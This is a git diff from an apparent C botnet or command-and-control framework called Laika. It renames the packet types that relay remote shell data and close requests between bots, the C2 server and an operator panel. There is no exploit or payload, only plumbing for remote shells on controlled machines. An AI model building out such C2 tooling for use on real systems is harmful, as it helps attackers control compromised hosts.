diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index be016c7..ef24093 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -64,7 +64,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!"); /* forward to SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE); + laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE); /* close shell */ ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL; @@ -82,7 +82,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD laikaS_read(&peer->sock, (void*)buf, sz); /* forward SHELL_DATA packet to auth */ - laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_DATA); + laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA); laikaS_write(&bInfo->shellAuth->sock, buf, sz); laikaS_endVarPacket(bInfo->shellAuth); } @@ -164,11 +164,11 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { laikaC_handleAuthenticatedShellOpen, crypto_kx_PUBLICKEYBYTES + sizeof(uint16_t) + sizeof(uint16_t), false), - LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, laikaC_handleAuthenticatedShellClose, 0, false), - LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA, + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, laikaC_handleAuthenticatedShellData, 0, true), diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 5cecc3a..d346f8e 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -50,7 +50,7 @@ void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) { void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) { /* forward to SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE); + laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE); /* close shell */ ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL; diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 0e298c6..58f614c 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -115,14 +115,6 @@ enum { * uint16_t cols; * uint16_t rows; */ - LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, /* peer requesting close their currently opened shell (accepted by both cnc & panel) */ - /* layout of LAIKAPKT_AUTHENTICATED_SHELL_CLOSE_REQ: - * NULL (empty packet) - */ - LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */ - /* layout of LAIKAPKT_SHELL_DATA - * char buf[VAR_PACKET_LENGTH]; - */ LAIKAPKT_MAXNONE }; diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 2dcfc9e..78aadd3 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -93,7 +93,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD /* sanity check */ if (!shellC_isShellOpen(client)) - LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n"); + LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n"); laikaS_read(&peer->sock, buf, sz); shellT_writeRawOutput(buf, sz); @@ -104,7 +104,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u /* sanity check */ if (!shellC_isShellOpen(client)) - LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n"); + LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n"); /* close shell */ shellC_closeShell(client); @@ -125,11 +125,11 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { shellC_handleRmvPeer, crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), false), - LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, shellC_handleShellClose, 0, false), - LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA, + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, shellC_handleShellData, 0, true), @@ -326,7 +326,7 @@ void shellC_closeShell(tShell_client *client) { return; /* send SHELL_CLOSE request */ - laikaS_emptyOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE); + laikaS_emptyOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE); client->openShell = NULL; } @@ -335,7 +335,7 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { if (!shellC_isShellOpen(client)) return; - laikaS_startVarPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_DATA); + laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA); laikaS_write(&client->peer->sock, data, sz); laikaS_endVarPacket(client->peer); }